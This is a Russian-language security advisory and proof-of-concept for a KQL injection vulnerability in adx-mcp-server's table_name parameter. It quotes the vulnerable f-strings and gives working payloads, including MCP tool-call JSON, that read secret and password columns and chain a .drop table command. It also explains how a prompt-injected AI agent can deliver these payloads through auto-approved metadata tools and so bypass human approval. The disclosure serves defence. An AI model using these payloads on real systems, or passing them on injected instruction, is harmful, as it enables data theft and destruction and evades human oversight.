
Эксплойт proof-of-concept для инъекции KQL в adx-mcp-server через параметр table_name, позволяющий осуществлять эксфильтрацию данных и выполнять деструктивные команды в Azure Data Explorer.
Уровень серьёзности: Высокий (CVSS 8.3)
CWE: CWE-943 — Ненадлежащая нейтрализация специальных элементов в логике запросов к данным
Затронуто: adx-mcp-server <= 1.1.0
Рекомендация: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Благодарность: Romain Deperne
Три инструмента MCP в adx-mcp-server подставляют параметр table_name напрямую в запросы KQL (Kusto Query Language) через f-строки. Злоумышленник или AI-агент, подверженный prompt-инъекции, может прочитать любую таблицу в кластере Azure Data Explorer, выполнить команды управления (.drop table) или запустить произвольные аналитические запросы — обходя границу доверия между «безопасными» инструментами метаданных и необработанным инструментом execute_query.
Я просматривал список awesome-mcp-servers в поисках MCP-серверов, которые оборачивают облачные платформы данных — они представляют высокий риск, поскольку предназначены для предоставления AI-агентам прямого доступа к базам данных, а параметры инструментов MCP полностью контролируются злоумышленником (любая LLM, обрабатывающая недоверенные данные, может быть подвергнута prompt-инъекции, чтобы передать вредоносные аргументы инструмента).
Изучение того, как параметры инструментов MCP попадают в запросы Azure Data Explorer, выявило три прямые интерполяции в server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" и f".show table {table_name} details".
Интересная часть — это обход границы доверия: сервер предоставляет как необработанный инструмент execute_query (для которого MCP-клиенты могут требовать одобрения человеком), так и эти «безопасные» инструменты инспекции метаданных (которые одобряются автоматически). Инъекция через инструменты метаданных позволяет обойти любую политику одобрения, применяемую клиентом. Именно это превратило проблему из «бага инъекции» в реальное нарушение границы безопасности.
Синтаксис комментариев KQL (//) позволяет полезной нагрузке подавить оставшуюся часть исходного запроса.
Файл: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
Все три передают table_name из аргументов MCP-инструмента напрямую в client.execute(config.database, query) без какой-либо проверки.
KQL позволяет объединять операторы запроса через | и выполнять команды управления с префиксом .. Символ // начинает комментарий до конца строки. Прямая интерполяция f-строк, таким образом, допускает инъекцию запроса:
f"{table_name} | getschema" → добавить | project Secret //, чтобы закомментировать | getschemaf".show table {table_name} details" → внедрить \n.drop table, чтобы связать команду управленияПочему это важно за пределами простого инструмента execute_query: клиенты MCP часто различают «безопасные» инструменты только для чтения (автоматически одобряемые) и инструменты прямого выполнения (требующие подтверждения). Инъекция нацелена на «безопасные» инструменты работы с метаданными, обходя границу одобрения.
Полную демонстрацию см. в poc.py. Основные полезные нагрузки:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Вызовы инструментов MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name, превращая prompt injection в полный доступ к данным